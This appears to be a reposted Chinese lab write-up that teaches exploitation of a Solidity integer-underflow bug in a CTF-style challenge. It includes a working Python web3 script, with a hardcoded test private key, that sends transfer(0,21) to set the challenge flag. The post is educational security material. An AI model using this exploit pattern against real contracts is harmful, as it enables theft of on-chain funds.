某60区块链安全之整数溢出漏洞实战学习记录

这篇具有很好参考价值的文章主要介绍了某60区块链安全之整数溢出漏洞实战学习记录。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

区块链安全

`


整数溢出漏洞实战

实验目的

学会使用python3的web3模块
学会以太坊整数溢出漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。
题目环境是测试链,所以需要本地与题目进行交互,可使用python3中的web3模块,通过web3模块的rpc功能与题目交互,从而编写自动化利用脚本。
实验内容
使用python3编写脚本测试漏洞
找到整数溢出漏洞并形成利用获取flag
实验地址为nc ip 10001

攻击过程

nc 靶标ip 端口
某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习
打开http://ip,输入上述分配的game account,点击Request获取eth

某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习
某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习

nc ip 10001连接到题目,输入2,获取部署合约的地址及new token
某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习

nc ip 10001连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习

分析合约源代码漏洞

题目要求把flag设置为true,分析合约代码,在transfer中可以将flag设置为true,但需要满足totalSupply - _value > 0,其中totalSupply=20,其实考点为Solidity智能合约整数溢出,totalSupply与value都是uint无符号整数,所以只需要value为21即可产生整数下溢,造成溢出
某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习
需要调用transfer(0,21)即可将flag设置为true

EXP利用

利用python3的web3模块与远程题目交互,并编写利用代码,将ip替换成题目的ip,contract_address替换成自己的地址

from web3 import Web3, HTTPProvider
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

# transfer(0,21)
data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
data += '0'*64
data += '21'.rjust(64,'0')

txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

运行exp
某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习

某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习

nc ip 10001连接到题目,输入3,输入之前的new token,获取flag

某60区块链安全之整数溢出漏洞实战学习记录,区块链,安全,学习文章来源地址https://www.toymoban.com/news/detail-768510.html

到了这里,关于某60区块链安全之整数溢出漏洞实战学习记录的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 某60区块链安全之薅羊毛攻击实战二学习记录

    ` 学会使用python3的web3模块 学会分析以太坊智能合约复杂场景下薅羊毛攻击漏洞及其利用 找到合约漏洞进行分析并形成利用 Ubuntu18.04操作机 python3 薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方

    2024年02月04日
    浏览(39)
  • 某60区块链安全之Create2实战二学习记录

    学会使用python3的web3模块 学会分析以太坊智能合约中的伪随机数问题 学会利用Create2可在同一地址部署不同合约特性解决伪随机数问题 找到合约漏洞进行分析并形成利用 Ubuntu18.04操作机 python3 君士坦丁堡硬升级中引入了一个新操作码 CREATE2 ,它使用新的方式来计算常见的合约

    2024年02月03日
    浏览(30)
  • 某60区块链安全之Create2实战一学习记录

    学会使用python3的web3模块 学会分析以太坊智能合约Create2引发的漏洞及其利用 找到合约漏洞进行分析并形成利用 Ubuntu18.04操作机 python3 君士坦丁堡硬升级中引入了一个新操作码 CREATE2 ,它使用新的方式来计算常见的合约地址,让生成的合约地址更具有可控性 在 CREATE2 以前,

    2024年02月05日
    浏览(27)
  • 某60区块链安全之未初始化的存储指针实战一学习记录

    学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 Ubuntu18.04操作机 python3 在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就

    2024年02月03日
    浏览(30)
  • 某60区块链安全之未初始化的存储指针实战二学习记录

    学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 Ubuntu18.04操作机 python3 在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就

    2024年02月05日
    浏览(29)
  • 某60区块链安全之Storage任意地址写实战学习记录

    学会使用python3的web3模块 学会分析以太坊智能合约中的Storage变量存储问题 找到合约漏洞进行分析并形成利用 Ubuntu18.04操作机 python3 EVM 中,有三个地方可以存储变量,分别是 Memory、Stack 和 Storage。Memory 和 Stack 是在执行期间临时生成的存储空间,主要负责运行时的数据存储,

    2024年02月05日
    浏览(26)
  • 某60物联网安全之IoT漏洞利用实操1学习记录

    学会使用fat模拟IoT设备固件 学会使用IDA分析设备固件内服务程序的逻辑漏洞 学会使用pwntools与IoT设备服务交互并触发漏洞 操作机:Ubuntu 20.04【用户名:user 密码:user】 qemu fat binwalk pwntools IDA pro IoT 设备中可能存在各种漏洞,总结来说,这些漏洞可以被大体划分为两大类,一

    2024年02月22日
    浏览(31)
  • 内网安全—Windows系统内核溢出漏洞提权

    系统内核溢出漏洞提权         往缓冲区中写入超出限定长度的内容,造成缓冲区溢出,从而破坏程序的堆栈进而运行自己精心准备的指定代码,达到攻击的目的。 分类:         堆溢出         栈溢出 查找补丁的方法          1、手工查找补丁情况      

    2024年02月03日
    浏览(35)
  • 踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现

    在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。 固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/ 这个漏洞属于经典

    2024年03月26日
    浏览(37)
  • Moonbeam团队发布针对整数截断漏洞的紧急安全修复

    2022年6月27日,Moonriver和Moonbeam都通过Runtime 1606进行了紧急升级,成功解决当天早上(美国东部时间)由独立白帽黑客披露的一项安全问题。该安全问题现已修复,且不再被任一网络利用。初步迹象表明,该漏洞从未被利用,但团队仍将继续展开调查。 为了防止漏洞被恶意利用

    2023年04月17日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包